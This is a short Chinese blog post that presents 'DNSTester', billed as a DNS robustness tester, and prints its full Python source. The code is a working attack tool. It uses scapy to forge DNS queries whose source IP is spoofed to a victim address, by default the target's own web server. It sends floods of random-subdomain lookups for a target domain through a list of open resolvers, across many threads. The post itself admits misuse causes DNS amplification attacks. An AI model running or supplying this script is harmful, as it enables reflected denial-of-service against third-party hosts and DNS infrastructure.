DNSTester 0.0.2: 一个测试根DNS鲁棒性的工具

github.com/cnbeining/DNSTester
请小心使用哦。
如果使用不当 或造成DNS递归攻击和DNS放大攻击哦。
代码下面:

#!/usr/bin/env python
#coding:utf-8
# Author:  Beining --<>
# Purpose: A most easy but powerful DNS tester
# Created: 01/15/2015
import os
import sys
import unittest
import socket
import random
from multiprocessing.dummy import Pool as ThreadPool
from scapy import *
from scapy.all import *
import csv
global DNS_IP_LIST
DNS_IP_LIST = []
global FAKE_IP
FAKE_IP = ''
#----------------------------------------------------------------------
def dns_amp(qname_address):
    """"""
    dns_ip = random.choice(DNS_IP_LIST)
    a = IP(dst=dns_ip,src=FAKE_IP)
    b = UDP(dport=53)
    c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
    c.qd=DNSQR(qname=qname_address,qtype=1,qclass=1)
    p = a/b/c
    send(p)
#----------------------------------------------------------------------
def main(address, time, length, thread_num, fake_ip):
    """"""
    domain_list = [''.join(map(lambda xx:(hex(ord(xx))[2:]),os.urandom(int(length)))) + '.' + str(address) for i in range(int(time))]
    pool = ThreadPool(int(thread_num))
    results = pool.map(dns_amp, domain_list)
    #close the pool and wait for the work to finish
    pool.close()
    pool.join()
#----------------------------------------------------------------------
def read_dns_ip(filename = './nameservers.csv'):
    """"""
    dns_ip_list = []
    with open(filename, 'rb') as f:
        reader = csv.reader(f)
        for row in reader:
            if reader.line_num == 1:
                    continue
            dns_ip_list.append(row[0])
    return dns_ip_list
#----------------------------------------------------------------------
if __name__=='__main__':
    address = str(sys.argv[1])
    time = int(sys.argv[2])
    thread_num = int(sys.argv[3])
    try:
        FAKE_IP = str((sys.argv[4]))
    except:
        FAKE_IP = socket.getaddrinfo("www." + address, 80, 0, 0, socket.SOL_TCP)[0][4][0]
    try:
        dns_filename = str((sys.argv[5]))
    except:
        dns_filename = './nameservers.csv'
    try:
        length = int(sys.argv[6])
    except:
        length = random.randint(6, 32)
    print('Reading DNS IP list...')
    DNS_IP_LIST = read_dns_ip(dns_filename)
    print('Start!')
    main(address, time, length, thread_num, FAKE_IP)
    print('Done!')

 

Leave a Reply

Your email address will not be published.